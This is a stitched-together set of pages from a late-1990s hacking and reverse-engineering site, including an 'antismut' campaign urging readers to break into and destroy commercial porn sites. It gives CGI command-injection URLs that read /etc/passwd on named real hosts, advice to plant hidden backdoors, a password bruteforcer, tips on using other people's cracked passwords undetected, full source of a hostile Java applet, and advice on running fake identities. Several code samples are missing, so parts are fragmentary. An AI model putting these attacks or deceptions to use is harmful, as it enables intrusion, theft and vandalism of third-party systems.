that others can ameliorate and give feedback...
PHASE THREE (14 September 1999)
this essay (botcgi.htm):Mirbot 1.0: a very special kind of a Robot has been written by The Mystical
Friend in September 1999, read and enjoy! Let's hope you'll write afterwards your own perl-bots and
send them here so that others can ameliorate and give feedback...
PHASE FOUR (14 September 1999)
this essay (rt_bot2.htm):The HCUbot (Version 2.0): a simple Web Retrieval Bot in Perl has been written
by deep in July 1999 and updated and ameliorated in September 1999, read and enjoy! Let's hope you'll
write afterwards your own perl-bots and send them here so that others can ameliorate and give
feedback...
PHASE FIVE (21 September 1999)
this essay (sono_bot.htm):spider.r: a handy search tool and intro to REBOL has been written by
sonofsamiam in September 1999, read and enjoy! Let's hope you'll write afterwards your own rebol-bots
and send them over here so that others can ameliorate and give feedback...
That's all for now, Enjoy!
A helping hand!
OK, if you'really wanna learn "agent reversing techniques" and yet somehow don't get the next step... just
take your time, there is no hurry, reverse the script you have already got (like those in the essays above),
try some different models... and finally write a (good) essay on this stuff yourself. Lusers and leechers,
just forget this stuff, please, there are many other things on the web...
(c) Fravia (mbre) 1995, 1996, 1997, 1998, 1999. All rights reserved
V fravia's
understand what's going on, yet
the ones capable to study and to
experiment a little, will not only
A Javascript
go further, but will also be able
to use this same kind of tricks
(implementing and ameliorating
them of course) in order to
S section ~
Updated
protect some 'delicate' parts of
their sites... or to deprotect some
other sites :-)
June
C Entrances to the
'advanced' page
1999
Entrances to the advanced page
easy impossible
and to the
R 'devious' page
javpassp.htm javpass1.htm
Some help for the easy entrance
I javhelp1.htm
Entrances to the 'devious' page
easy hard
P Fravia's Nofrill
Web design
myown511.htm javdevio.htm
Entrance to the
('98 ~ '99)
T "hyperprotections"
vao_hype.htm
and to 'seed' a little the guys that will be able to work on more advanced matters. There are now THREE
advanced javascript pages, completely indipendent, since the methods to reverse their respective
entrances are quite different.
1) THE ADVANCED JAVASCRIPT PAGE (ADVANCED), which has at the moment two entrances,
an 'easy' one (which is not so terribly easy after all, but which you'll be able to reverse/brute-force if you
work a little) and an 'impossible' entrance (which is not so terribly impossible after all if you know your
stalking/searching/ combing abc)
On this advanced page you'll find many interesting 'advanced' essays. From this advanced page you'll be
able to access (this sommer) the 'wizard' stalking javascript page.
2) THE TARGETED JAVASCRIPT PAGE (DEVIOUS), or 'devious' page. So called because it uses
a 'targeted' URL access system. At the moment has an easy, and an 'hard' entrance. I'll give help in a later
moment if needs be... I hope not...
On this page you won't find much at the moment (because I'm setting it up right now), but, similarly to
the 'advanced' one, you'll get (at least) the essays of all people that have reached it as soon as they start
coming. Anyway from this targeted page you'll be able to access (this sommer) the 'wizard' stalking
javascript page as well.
The essays
(that you'll find only on the 'advanced' pages)
(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved
As you can see, on this page you have a typical Javascript access form where you'll have to enter a
password (duh) which will give you access to the advanced javascript page. Since the NAME of the
advanced javascript page is directly related to the password, all failure will bring you back to my main
page. Of course this IS NOT a real web protection scheme, since such 'cheap' tricks are relatively easy to
circumvene, at least if you understand (or learn now) a little the javascript language and if you have at
least a little cracker's stoff...
Nevertheless I hope that this page will help me to make my point (in fact my didactical 'leit-motiv'):
lamers should not and will not understand what's going on, yet the ones capable to study and to
experiment a little, will not only go further on, but will also be able to use this same kind of trick
(implementing and ameliorating it of course) in order to protect some 'delicate' parts of their sites... a
nice present by fravia+ to anyone reading this, I believe... lets' hope that you'll at least give me some
credit
(I deserve only in part, since I have ripped part of the javascript code off a commercial smut site that I
have busted (see my antismut pages if you want to learn the basic of site-nuking) and since I am NOT a
nice guy when it comes to commercial smut sites, I will not give recognition to those bastards for the
(parts) of the Javascript code I have ripped off... OK, you have 4 tryes to land on my advanced javascript
pages... see you there.
(c) Fravia 1995, 1996, 1997, 1998. All rights reserved
M 1999 combing
source checking
~
A general approach to Web sites nuking
How to comb the web
How to find "crumbs" of information inside the source code of web pages
How to exploit the weak CGI-script and PERL programs used by the Smut dealers
How to make a smut site go Ka-Boom!
~
(this is the stuff you wanted to read and never found on the web)
source checking How to exploit 'crumb trails' inside a (forgotten snippets of information
page inside counters and images)
How to exploit weak CGI-script and
(How to nuke a page against the will
cgi reverse engineering: one PERL programs used by the Smut
of its owner)
dealers
How to exploit CGI-script, server side (How to see a smut site going
cgi reverse engineering: two
includes and perl ticks Ka-boom! under your very eyes)
(How to fish scripts or programs that
Server exploits: one How to exploit Micro$oft's IIS bugs
should have been hidden)
How to exploit weak sites with your (Some interesting logs and
Server exploits: Rudicarell's
browser redirecting tricks)
How to allow any luser to access any (Some interesting proxy info for
How to seriously annoy smut sites...
commercial smut site for free :-) lusers)
restricted access: one Some apostrophe + boolean value tricks (Advanced perl-sites nuking)
Read A polite conversation between a commercial smutsite nuker and a commercial smutsite owner
by fravia+, May 1998
Read sortof's hacking attack against the index page of my new fortress
by fravia+, October 1999
Hacking wwwhack
(And a small digression about passwords)
If you are interested in site-access techniques, you may download here a simple 'bruteforcer' that you may use for ALL sites
that have HTTP basic authentication. (that's when you try to get to a site and your BROWSER, not an HTML form, asks
you for the password).
Download wwwhack, a very simple, yet effective, password busting program, quite useful to gain user access and study
the directory structure of your commercial smut targets... wwhack, keeps TRACK of the sites you gained access into in a
file called sites.dat and stores its passwords inside a file called password.txt. wwwhack is a 'best before protection' (at least
in this version), which expired on 19 June. Of course this doesn't matter much for reversers, here you go...
Don't be silly: the vast majority of sites advertising free passwords to porn sites are actually smut sites themselves, luring
traffic through deceptive advertising. There is at the moment a frantic battle for traffic on the smut sites (see my polite
conversation between a commercial smutsite nuker and a commercial smutsite owner), smut sites that attracted their traffic
pretending to offer 'free' pictures and videos are now increasingly offering 'free' passwords as well. These 'passwords' come
directly from the smut sites that are purportedly being violated. The smut sites can pay to the pasword sites a FEE to feature
ostensibly faked passwords. The 'pasword' sites sell advertising banner space to the smut sites and list paid-for faked
passwords first (mostly the user will land in a banner-clicking nightmare in those cases). In my experience, four password
sites out of five are in cahoots with the smut sites (that is a good reason to nuke some of them as well :-)
Unsurprisingly, providing password defenses has become a booming industry... the problem is that these 'defenses' are most
of the time very easy to circumvent (see my CGI-reversing and my javascript advanced pages). There are at the moment
more than 100 (yes, one hundred) companies offering verification services for commercial smut sites. Fortunately there's
not a single one of them that cannot be cracked. Most of these services automatically cancel passwords if they are being
used by two people at the same time or if they are originating from different web addresses over a given period of time.
Since the passwords you will discover using the tricks explained here ARE NOT PUBLIC (because YOU will discover
them on your own), once you check which ones belong to a common used dynamic IP provider (AOL, compuserve, Infonie,
whatever), you'r pretty sure that nobody will ever notice it unless you'r shooting in the same timerange as your turkey (the
lamer you have taken the password). Just choose an amerloque turkey if you'r european or an european turkey if you'r
amerloque and that's all :)
(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved
We are not censors, and we have nothing whatsoever against nude images (if
given away for free), yet we have to wage battle against commercial smut sites
for many pretty sound reasons. Here the main ones:
Because commercial smut sites are swamping the whole Web. They have swamped, for
instance, the server where my main page was hosted to a point that made impossible
for me to remain there. This swamping may seem strange, since there is NO REASON
whatsoever to use or peruse such commercial smut sites.
As anyone that visit these pages of mine knows, if you have learned how to search
the web there is NOTHING... absolutely nothing that you will not find on the web.
Any application you can think of, any image that has ever been taken or made, any
BOOK that has been written dwells somewhere inside a server on our planet, ready
to be downloaded by you for free.
In such a situation selling "commercially" what is already free is only a
fraud, where 'copyrights' laws are used as fig leaves to cover strong commercial
interests, where all tricks are displayed to deny knowledge for the poors and
the simple ones, all frills and 'push' activities are fostered heavily in order
to keep under their consumistic chains and whips those still unaware of what's
going on, gullible believers in a society where money -and not knowledge- means
power (why?).
Yet this nether world of ours shows a NEW reality: inter alia you can get at, and
download, all the knowledge (and horrors) of the human race. That is, you can, once
you have found them.
The problem and the difficulty is to understand where exactly -and under which
name that what you seek has been stored.
This is fairly easy endeavour, though, (see my search engines and my
how to search pages), yet many poor suckers
and lusers simply don't know it, and have -for instance- to pay in order to
get their daily smut ration... don't laugh at them! Imagine you are a frustrated
young man, somewhere in Saudi Arabia, with a web access and enough money and yet
no naked women images (nor many naked real women nor Wodka-Martinis for that matter
:-)
nowhere in a range of 1000 kilometers... you would probably fall for it as well...
Since, as you know, on the Web there is NO law, crackers are among the few that can
try to put an end to any activity that they don't like. We decide alone what we allow
and what we forbid, since we HAVE (and spread) real knowledge... the only real
"power"
in our worlds of bytes and codes, where commercial minds stamp about blinded by
money... and where we can destroy them, and stamp them out, as I will teach you.
You'll begin to see here how we can attack, and you may decide to join and help (or
even criticize and help... you are not compelled to agree with our course of action,
of course).
This is far from easy, and you need some particulat conditions to
be able to do it, yet it is great fun. You'll get some hints and
some simple tricks on my cgi reverse engineering pages one and two.
Don't forget that you can enter through FALSE passwords. There are in the
warez
scene hundred of sites that offer 'capered' passwords for commercial smut
sites.
One of the rare case where I'm fully favourable to the warez kids. Million of
The Commercial smut sites react against password capering with automated
scripts that
deconnect all accounts used by two persons on the same time. Yet web
server-user
notifications protocols are so unreliable that most of the time they just
don't dare
doing it really, and simply use a completely useless warning, because there
are
much too many dynamic IDs, and their real terror is to scare off one of the
few
gullible correct users they have got. So if you get a scarecrow message
visiting
with a capered password, just reload once more until it disappears.
You can also of enter using gathered 'crumbs' that you'll find on the source
html script of the page. Useful crumb gathering is also possible through
right
clicking on any logo or image and carefully watching and registering the URL
call sequence inside your "location" browser's window.
VISIT MY source checking PAGE
4) Beat them at their own game: demonstrate that they are utterly useless
There is practically not a single image on the commercial smut sides that
you could not have for free if you cared to. Yet, instead of leaving these
images where only determined people could find them (and why not, if they
want to see them, please go ahead), the commercial smut sites throw all
these images everywhere on the web, making it dead easy, even for childrens,
to get at them even if they ARE NOT really seeking them (and since I have
three kids, I know what I am saying... if you want to have a look for
yourself
at what kind of smut you can get without any filter whatsoever, connect for
instance to http://www.bondage.com).
Since the commercial smut sites cannot afford to change continuously the
whole subdirectory naming structure, the publishing of the hidden links and
subdirectories structure could be even more effective that the simple
publishing
of the passwords or the occasional nuking of a couple of exposed site.
We will examine (in december) how exactly a userid/password script works, and
how it 'decides' if the user should gain access to the site or not. There
are now some new censorship applications that check THE (rosa) PIXELS of the
images in order to allow or forbid to 'corporate prisoners' to see them (see
my corporate survival page in order to defeat them).
We will therefore reverse their algorithms in order to
FIND where the images have been hidden inside any smut server. Such a little
robot application can then be given around for free... smut seekers will get
for free their smut-dope automagically brought home and commercial smut sites
will fail miserably as they deserve... hey! this can be very useful against
commercial advertisement sites as well, come to think of it :-)
Another very interesting new sector is PASSWORD CAPERING. Let's have a closer
look at the passwords and userids used by the commercial sites (not only smut
sites btw). You'll soon realise that they are divided in TWO main categories:
It is clear that this project will only survive and thrive if there will be
more and more essays from ALL OF YOU and if you will find and send me other
-even better- tricks in order to commercial ruin (or at least to seriously annoy)
all those bastards that run the commercial smut sites.
We have done a lot already (see the October attack story), yet we have
a lot more to do in order to clean the web from commercial bastards... and not only
regarding smut images...
Some lusers believe that money and sex are the two only things that count in life,
and
that 'combining' the two, they have found an easy way to scrap some easy bucks. Let's
show them that in our world money does not mean anything at all and that even if sex
would really have something to do with some poor quality smut photographical images,
which I doubt, that too can be gathered on the web for free, like everything else.
I hope you understand now WHY I want to bust commercial sites (apart from the
'intrinsecal'
fun in busting web sites :-) and WHY this has nothing to do with any censorship
attitude of
mine: I am a cracker: I want a free web for all.
And if you are interested, here is a small e-mail exchange of your +truly with a smut site (polite) owner.
And if you are interested, here is a very simple password busting program
Fravia's CGI-script
reversing
page ONE
(CGI-script reverse engineering)
~
(How to exploit weak CGI-script and PERL programs used by the Smut dealers)
(How to nuke a page against the will of its owner)
~
By Fravia+, Updated 27 November 1997
Page severely under construction... SEND MORE CONTRIBUTIONS!
The user's keystrokes are passed to the gateway either via environment variables (called the GET method) or
using standard input (called the POST method). The gateway then passes the input and process it. It may
generate HTML output, which is returned to the httpd server to pass to the client, or it may save data in a file or
database or send email to someone.
The gateway itself can be a script or program, written in C/C++, Perl, tcl, the C Shell or the Bourne Shell.
Each language has its own strengths as a gateway language.
CGI gateways that generate HTML output are required to preface the HTML output to stdout with the following
line:
Content-type: text/html
This line must be followed by a blank line before the first <HTML> tag is sent.
The gateway does not have to generate HTML. It could return the URL of another file, indicating to the browser
that it should get that file. This is called URL redirection. In fact this is the most commonly used method that the
commercial smut-dealers use to pass some specific images to the user
CGI gateways using URL redirection write the following line to stdout:< br>
Location: URL
This line, too, must be followed by a blank line before the stdout data stream terminates.
Passing parameters to CGI scripts by appending them to the URL is referred to as the GET method. CGI scripts
written to use the GET method must explicitly read the QUERY_STRING variable to get and then parse the
query. The GET method is usually used to invoke a simple CGI script with a single parameter.
For example, to pass your name (Fravia of TheHCU) to the test-cgi gateway, located in cgi-bin, you would
open the following URL:
http://hostname/cgi-bin/test-cgi?Fravia+of+TheHCU
The incoming parameter is appended to the base URL after the ? character, with blanks replaced by the +
character. The parameter is set as an environment variable called QUERY_STRING, but is not passed to
test-cgi as a command line option, or in standard input. The HTML output returned from this URL would be
(since test-cgi describes how the httpd server is configured and what information is being passed generically to
all CGI scripts, more or less the following:
SERVER_SOFTWARE = NCSA/1.3
SERVER_NAME = hostname
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.0
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT = text/plain, application/x-html, application/html,
URL?first+second+third
When using the POST method, two parameters, for a user's name and email address, might look like:
NAME=Fravia+of+TheHCU&EMAIL=msre@chez.com
The CGI script would then parse the two parameters as:
If the CGI-scripts are not carefully written the server can have problems: anytime it captures user keystrokes,
those keystroke could be malicious. Attacking a Web server usually consist in embedding shell metacharacters
inside our input, seeking the execution of arbitrary commands on the system that runs the gateway, a danger
particularly common, with older CGI gateways written in the Bourne or C Shell, in Perl or in any language
where an interpreter can execute commands external to the gateway.
Rather than trapping "problem" metacharacters, the CGI scripts use simply a regular expression to check for
legal keystrokes:
[a-zA-Z0-9_-+ \t\/@%]
(There is a blank space after the + sign)
http://www.odci.gov/cgi-bin/query?%0a/bin/cat%20/etc/passwd
The characters ASCII "0a" and "20" are respectively a newline and a space.
Form processing
Forms are a natural progression from simple queries and are officially part of HTML version 3.0.
Here you have an example:
Please send us your comments!
Name:
Email:
Each INPUT tag has a variable name associated. The CGI scripts filter the contents of the field INPUT, if they
don't you have a similar situation ro the previous one, and your data are directly passed to the interpreter.
Another used HTML tag is the SELECT tag, that allows to the user on the client machine to select between a
number of options. This selection gives also a value to a specified variable.
The CGI-scripts usually DO NOT check this value, assuming that there is only a predefined number of choices,
and these values go directly to the interpreter for interpreted languages.
A typical sendmail attack is made using the characters "~!", on vulnerable systems.
If there is a CGI-script with a call to the UNIX system with only ONE argument, you can attack that system,
because the system in that case forks a shell in order to allow the request, for instance the following PERL
script:
The function system() is not the only command to fork a new shell. The function exec(), with only one argument
allows the same attacks. Opening a file and piping its result opens also a separate shell. In PERL the function :
The PERL command "eval" executes any argument you pass. The CGI-script that pass user data to the
command eval can be used to execute ANYTHING that the user wishes, on the smut dealers sites I would
suggest, first to check if the "" passed to the interpreter are accepted
And then destroy the smut dealer server with VALUE containing
CGI-script are READABLE, and you can copy them, modify them or substitute them.
PERL scripts containing include lines like the following:
require "cgi-lib"
Include the cgi-lib library. If the file permissions are not correct, the script IS vulnerable! You may want to
verify the permission adding to the URL of a cgi-script (using the method GET) following characters:
"%0a/bin/ls%20-la%20/usr/src/include
If you copy, modify and substitute the library, you will be able to execute commands or routines from inside the
library file.
The PERL interpreter dwells mostly in usr/bin. If it has been run as SETSUID root, you may modify the file
permissions with a direct command to the system:
Finally there is an extension that some http server allow: the SSI (Server Side Include). Most SSI have been
disabled, but there are still many out there. The syntax is:
If the script does not filter the input, you may write:
"exec cmd" then runs a shell and executes the command you wrote between "", in this case chmod. Obviously as
soon as you gain etc/passwd you can lame the site of the Smut dealer, or even better, 'seed' therein hundred
concealed 'entrances' for later eaiser busting :-)
AllowOverride None
Here are, courtesy of +gthorne, some nice 'starter' tricks you may want to use to UNDERSTAND how all this
work and how frequently Web servers allow you more access than it you would believe (PLEASE, do not
destroy yet vrysex.com, I need it alive for teaching purposes):
http://www.vrysex.com/cgi-bin/nph-test-cgi?*
(This gives information even if not available :-)
http://www.vrysex.com/cgi-bin/test-cgi?*
http://www.vrysex.com/cgi-bin/nph-test-cgi?/*
http://www.vrysex.com/cgi-bin/nph-test-cgi?etc/*
Remeber also that the standard Web account (the default user ID) is called
Username: nobody
This isn't root, of course, but it gives nevertheless access to all that an user can if he has an account on the
system (otherwise web pages wouldn't work at all. BTW, the dafault Group is -1
If the cgi-bin directory is not at default location /usr/local/etc/httpd/cgi-bin/, its new location can be found
inside the Alias or ScriptAlias directives!
AccessFileName = .htaccess
DocumentRoot = /usr/local/etc/httpd/htdocs
A first Conclusion
The incorrect use of the CGI scripts implies many vulnerabilities for the system hosting them.
Most smut dealer have little or no knowledge of programming but NEED always some sort of script to give the
authorised suckers their smut and leave out everybody else... mostly they will have set their scripts on the quick
way, using often incapable programmers... a world of possibilities for us!
~
By Fravia+, Updated November 1997
Page severely under construction...
What is combing?
Combing is a very effective search strategy: instead of simply searching, you use various other net resources:
-Usenet newsgroups and their various "vigilant filters" and "short range queries"
Obviously combing is an important technique for whatever interest you may have, quite useful in order to spare an incredible
lot of Internet searching hours.
We'll use it here to wage battle against our "commercial smut" enemies, but you would be well advised to learn it and use it
for *any* interest you may have...
Warning: you better set the option "autoload images" OFF inside your Netscape settings, else
you'll pretty soon regret having accessed this kind of sites... you will not loose anything... NONE
of the images they carry is worth loading... should you really want nice "sexually explicit" images
(for free of course, and please excuse the pathetic euphemism), then visit the many artists that
expose their own work on the net... on the sites we are going to destroy (see how in the
CGI-reverse engineering page) you'll not even find any "pornography" whatsoever, only fetid
smut.
Let's start with a typical "combing" approach, I will not hyperlink because I do not want this site spidered along these links,
but you may cut and paste the following URLs:
Webcounter
http://www.digits.com/top/both_adult_100.html ;top site has here "only" 540000 a day
http://www.digits.com/top/comm_adult_100.html ;top site has here "only" 124000 a day
Etcetera... you understand the trick now... here are some other ones
various smut counters:
http://www.xxxcounter.com/home/
http://www.web21.com/
http://www.sexhound.com/index.cgi?from=16818 this one uses CGI!
:-)
I do not want this page catalogued inside the smut information retrievers, therefore the above links are not hyperlinked... cut
and paste them in order to use them.
filter@vigilant.bc.ca
I'll show you for instance one of my queries:
Usenet query can also be done through the two big Usenet "depots": Dejanews and email query, that are explained
elsewhere on my site.
Many of the main search engines allow such querying too, using the services of either Dejanews or emailquery.
by fravia+
~
__Combing__
(Some other specific combing examples are to be found inside my antismut pages)
What is combing?
Combing is a very effective search strategy: instead of simply searching, you 'milk' (or 'comb') various other net resources:
- The continuously updated "Top 100", "Top 1000", "Top whatever" URL-locations
('Real' combing)
- Usenet newsgroups and their various "vigilant filters" and "short range queries"
(Usenet combing)
- Relevant site links pages.
(a form of 'crumbs gathering', see my anti-smut pages)
Updated every four hours. Last update Mon Nov 3 12:00:01 1997 - PST
WebSideStory, Inc. currently monitors 30,783 sites who have 15,264,666 visitors per
day.
There are 22,750 sites listed in 36 categories, averaging 1,996,241 visitors per day.
The problem with all these 'top whatever' sites is that you oft have to wade trough a lot of pages to get where you are
interested, because the poor sods want you to read their awful ads.
Famous Listing of the Best Sites on the Internet
There are THOUSAND of 'top whatever' counters and many carry some form of 'top side listing' within... you may want to
examine a list with MANY counters on this good page: Web Counters and Trackers (Access Counters for Web Sites; Free
Counters; Web site auditing)
Usenet combing
Usenet combing can work "on the fly" or "regularly" through the "Vigilant" filter at
filter@vigilant.bc.ca
I'll show you for instance one of my favourite simple queries:
reference.com... vigilant will send you (obviously for free) "on-the-fly" all usenet messages that transit around dealing with
matters that may interest you, at times inside newsgroups you do not even know the names of... to master well its filter
capabilities is quite tricky though... study it and use it... you'll never regret it and I'm sure you'll thank me for this tip
Dejanews
Remember that you can gather an INCREDIBLE amount of information through the following Usenet "depot":
You'll use it a lot, it allows you to reconstruct a personality profile as soon as somebody uses newsgroups (like all do). As a
matter of fact I tried to understand who the hell hydes behind this service... have a look at my deja.htm page if you are
interested too in this kind of things... hey, did you know that there exists also a nice stalking page of mine where these
matters are explained a little more?
And did you know that you may even "snatch" information from people browsing your pages?
Reference.com
Finally, you can gather an INCREDIBLE amount of information through the following Usenet "depot":
reference.com
here you'll be able to "register" your automated queryes... and THAT, believe me, is really useful to snoop what's going on and
where are the sites that you are looking for...
In fact usenet combing could be translated in 'let other people do the searches for me...": you'll simply find email snippets of
people that has found the solution to your query inside some usenet group you do not even know the name of!
Usenet queries that can be done through the two big Usenet "depots": Dejanews and email query, are possible ALSO through
the major search engines (if you know how to use them) and using the 'klebing' techniqe explained below:
Many of the main search engines allow such querying too, and they use (of course) the services of either Dejanews or
emailquery.
NOTE THAT THERE ARE MANY MORE 'usenet-depot'... I recently found an 'italian' one at
http://www.mailgate.org/mailgate/index.html who knows how many more there are around!
__klebing__
Fishing query strings and locations
Klebing is a 'reversing search' technique that goes ways beyond "combing". And which offers incredible value. We will clear
out what klebing is, below, using a ready made example on a site that you'll probably already know (it is an important hacker
site and I link to it myself inside my links page): here is the 'normal' URL of that site: L0pht heavy industries.
We can use LOpht for this example because LOpht has (publicly) the 'row material' that we need for klebing: the 'remote
connexions' list. It is basically a very simple CGI-script, that updates inside its own database (LOpht updates every day) all the
"remote" URL locations (i.e. the sites the various visitors come from) accessing any of the pages of a given site.
You may easily write such an analogouus spider and add it to your site! In order to write quickly (and dirty) a 'crude'
CGI-script like this you just need to list all the var where = document.referrer variables that any lamer's browser carries inside
(well... not our reversed and 'ameliorated' browsers... in order to learn the relevant techniques you may want to have a look at
Mammon_'s Reversing Netscape's buttons and menus essay... my copy of Netscape carries for instance a different random -and
of course faked- document.referrer variable everytime it accesses a new site :-)
Well, have a look at the next link and you'll understand what I mean:
Here you have the real, updated LOpht's location you'll use yourself in order to perform your updated klebing endeavours:
http://www.l0pht.com/ref.html
And here you have a copy of it that you should examine NOW in order to better follow what I'm telling you.
In order to discuss together with you some of the 'results' of our klebing activities I have copied a 'still image' of this
continuously updating database inside my site, talen from the location above on 4 Nov 1997 (to-day), here it is: lophtrev.htm
So, now that you had a look at them, let's say a couple of things:
1) The utility of such a script from the Webmaster's point of view is obvious: he can immediately see WHO is sending hits to
him and WHERE inside his site does he link to (and he can 'punish' eventual 'fastidious' linking inside his site simply
modifying the name of the branched pages, like I'll do soon with the academy section of my site if you keep entering from the
sides to my pages :-(
2) The utility of such a script (if publicly presented, like this by LOpht, or else if 'somehow' findbar inside a /cgi subdirectory
-see my antismut pag for the relevant CGI-cracking techniques :-) is for our search purposes HUGE! If the site has some
attinence with fields you are interested in (and LOphts for sure has it with sites that may interest us!) you are in for a surprise...
in fact one wonders what's the point of laboriously browsing the web in search of possible new intersting sites where you could
eventually learn something! Let those same sites COME TO YOU all by themselves alone... isn't it nice?
New strings
Back to our klebing page... as you can see, in order to land somewhere at LOft a part of these visitors has used Yahoo and has
searched for 'hackers', 'attress', 'spycamera' and more
Now, some of these are banal, like 'hackers', yet some are quite interesting, like 'email intercepting'.
This can also be quite interesting... I have quite a lot of ready-made strings that I use with the search engines, and some of
them I have gathered klebing sites... else I would probably never have come to some ideas.
through klebing you'll get them... have a look at what we have here at LOpht:
316 | http://www.microsoft.com/security/ntprod.htm -> /advisories.html
103 | http://www.microsoft.com/security/issues.htm -> /advisories.html
Unknown mysteries
This one links to a cgi-bin page... why?:
105 | http://nowhere/nothing.html -> /cgi-bin/Count.cgi
well, this tells us
FIRST
That there is indeed a cgi-bin directory here with a Count.cgi script and
SECOND
that nowhere/nothing is interested in it.
Old friends
And who the hell is this next one? Our good old friend Bokler from Deja? (See my deja.htm page) 14 |
http://spider.bokler.com/bokler/crak_body.html -> /index.html
Well... rich fishing, isn't it?
And the following ones could be interesting too, don't you believe?
106 | http://astalavista.box.sk/cgi-bin/marek/robot/robot?srch=warez&submit=+search+ -> /lounge.html
114 | http://netfind.aol.com/search.gw
Yes, when you start klebing, you never finish off experimenting! :-)
Go ahead, enjoy!
fravia+ 04 Nov 97
DejaNews cracking
They track us, therefore we crack them
DejaNews is a scary subject, as we have seen in my anonymity page and in my counter measures page. They keep
track of all usenet entries. This allows to trace the profile of anybody that has contributed (non anonymously) to a
newsgroup. It seems to me therefore all too correct to snoop a little on these guys...
When printing from "deja news" on the web you may notice that before printing Netscape throws up a little box saying it
was contacting "Globaltrak.net" Is somebody keeping track of what people print on their news searches?
Yes! At the very least they are keeping track of how many people see their ugly advertisements. But I fear Globaltrak is
doing a bit more. Check your cookies.txt file in your Netscape directory. You may very well have an entry from
Globaltrak in there (that is... you'll have it only if you do not have already created a directory with the name
"cookies.txt" inside your Netscape directory, as I would advice you to do, in order to eliminate once for all every cookie
they would like to throw at you :-)
Let's find out who these globaltrack guys are... trying to go to www.globaltrak.com doesn't get you anywhere. A search
on the web and through usenet news doesn't reveal anything about Globaltrak. Looks like somebody is trying to hide
something. Let's see who Globaltrak is.
NS.REALTIME.NET 205.238.128.39
NS2.REALTIME.NET 205.238.128.42
We have a name now. Let's see what we can find from that.
Hmm. "unknown host" Well let see where the mail for Globaltrak goes.
;; ANSWERS:
globaltrak.net. 21600 MX 50 giga.bga.com.
globaltrak.net. 21600 MX 10 zoom.bga.com.
;; AUTHORITY RECORDS:
/globaltrak.net. 21600 NS ns.realtime.net.
globaltrak.net. 21600 NS ns2.realtime.net.
;; ADDITIONAL RECORDS:
giga.bga.com. 21600 A 205.238.128.46
zoom.bga.com. 21600 A 205.238.128.40
ns.realtime.net. 21600 A 205.238.128.39
ns2.realtime.net. 21600 A 205.238.128.42
Ok. Mail for Globaltrak goes to bga.com. Let's see if we can find are person there.
Hmm. Looks like they don't give out finger information. Maybe they're concerned about their privacy. Let's see who
bga.com is.
NS.REALTIME.NET 205.238.128.39
NS2.REALTIME.NET 205.238.128.42
NS1.SPRINTLINK.NET 204.117.214.10
NS2.SPRINTLINK.NET 199.2.252.10
NS3.SPRINTLINK.NET 204.97.212.10
That's interesting. So bga is Bob Gustwick & Associates. Let's see what bga has at their web site.
[INLINE]
Real/Time Communications
Looks like Real/Time Communications and Bob Gustwick & Associates are one in the same. Let's see if we can get to
Globaltrak at all.
Well that doesn't work. Looks like they doen't want to acknowledge they exist. Let's try another way.
Well that didn't get there, but it tells us something interesting: "sl-bobgust-1-S1-T1.sprintlink.net" or just "bobgust".
Looks like this Bob Gustwick guy is some major player in Globaltrak.
A search of usenet shows that this guy is hiring a lot of people in the Austin area of Texas. And a search on the web
shows this.
Name
Bob Gustwick Associates, Inc.
Location
Travis county
Postal Address
8760A Research Blvd. Suite 152
Austin, Tx 78758
Phone Number
+1 512 451-0046
Description
A supplier of Unix consulting services and Internet services.
Administrative Contact:
Madere, Steve (SM1488) madere@DEJANEWS.COM
1-512-451-0433
Technical Contact, Zone Contact:
DNS Administrator (DA389-ORG) dntech@DEJANEWS.COM
1-512-451-0433
Billing Contact:
Accounts Payable, Deja News (DNA8) accounting@DEJANEWS.COM
1-512-451-0433
NS.DEJANEWS.COM 205.238.157.74
NS.REALTIME.NET 205.238.128.39
NS2.REALTIME.NET 205.238.128.42
Yep. Looks like Dejanews and Real/Time Communications are all part of Bob Gustwick Associates. That's as much as I
could find at the moment. You might try and contact Globaltrak (512) 292-5593 and ask them what they're doing. You
might also contact Bob Gustwick Associates (512) 451-0046 and ask if they are related to Globaltrak or just providing
their Internet connection.
C
O fravia's Fravia's Counter measures
Fravia's Nofrill
Web design
(1998)
__Applets killers__
We have already seen on my anon page that Javascript applets can be used to forge faked address and other
nasty activities on unsuspecting browsers... here is the code of LaDue's appletskiller
/* This hostile applet stops any applets that are running and kills any other applets that are downloaded. */
import java.applet.*; import java.awt.*; import java.io.*; public class AppletKiller extends java.applet.Applet
implements Runnable { Thread killer; public void init() { killer = null; } public void start() { if (killer == null) {
killer = new Thread(this,"killer"); killer.setPriority(Thread.MAX_PRIORITY); killer.start(); } }
public void stop() {} // Kill all threads except this one public void run() { try { while (true) {
ThreadKiller.killAllThreads(); try { killer.sleep(100); } catch (InterruptedException e) {} } } catch
(ThreadDeath td) {} // Resurrect the hostile thread in case of accidental ThreadDeath finally { AppletKiller ack
= new AppletKiller(); Thread reborn = new Thread(ack, "killer"); reborn.start(); } } } class
ThreadKiller { // Ascend to the root ThreadGroup and list all subgroups recursively, // killing all threads as we
go public static void killAllThreads() { ThreadGroup thisGroup; ThreadGroup topGroup; ThreadGroup
parentGroup; // Determine the current thread group thisGroup = Thread.currentThread().getThreadGroup(); //
Proceed to the top ThreadGroup topGroup = thisGroup; parentGroup = topGroup.getParent();
while(parentGroup != null) { topGroup = parentGroup; parentGroup = parentGroup.getParent(); } // Find all
subgroups recursively findGroups(topGroup); } private static void findGroups(ThreadGroup g) { if (g == null)
{return;} else { int numThreads = g.activeCount(); int numGroups = g.activeGroupCount(); Thread[] threads =
new Thread[numThreads]; ThreadGroup[] groups = new ThreadGroup[numGroups]; g.enumerate(threads,
false); g.enumerate(groups, false); for (int i = 0; i <numthreads; i++) killOneThread(threads[i]); for (int i="0;" i
< numGroups; i++) findGroups(groups[i]); } } private static void killOneThread(Thread t) { if (t="=" null ||
t.getName().equals("killer")) {return;} else {t.stop();} } }
Well yes, you should learn a little Java my dear
__Fake Identities__
Having many identities (Avatars) is of paramount importance on the Web. You should use faked identities for
most activities, a good idea is to have identities in different languages (say being a german law student, a
french volleyball enthusiast, and an american young Boy scout). You'll be able to get as many identities as you
need using all the services that provide (per telnet) email addresses for free, like hotmail.com... but a much
better (and raccomanded) method is the homepage capering I describe below. As soon as you have your fake
email address, set up a free web page (on Angelfire for instance, but there are now many more free page
providers on the Web, and you can get a 5 Megabyte free page on many new free european providers). Be
